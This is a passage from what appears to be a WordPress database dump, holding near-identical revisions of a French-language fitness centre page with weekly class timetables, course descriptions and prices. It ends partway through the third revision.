(194, 1, '2013-07-03 17:40:25', '2013-07-03 17:40:25', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 35%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:40:25', '2013-07-03 17:40:25', '', 11, 'http://www.crosstrainingcenter.be/?p=194', 0, 'revision', '', 0),
(195, 1, '2013-07-03 17:40:44', '2013-07-03 17:40:44', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 38%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:40:44', '2013-07-03 17:40:44', '', 11, 'http://www.crosstrainingcenter.be/?p=195', 0, 'revision', '', 0),
(196, 1, '2013-07-03 17:40:57', '2013-07-03 17:40:57', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td 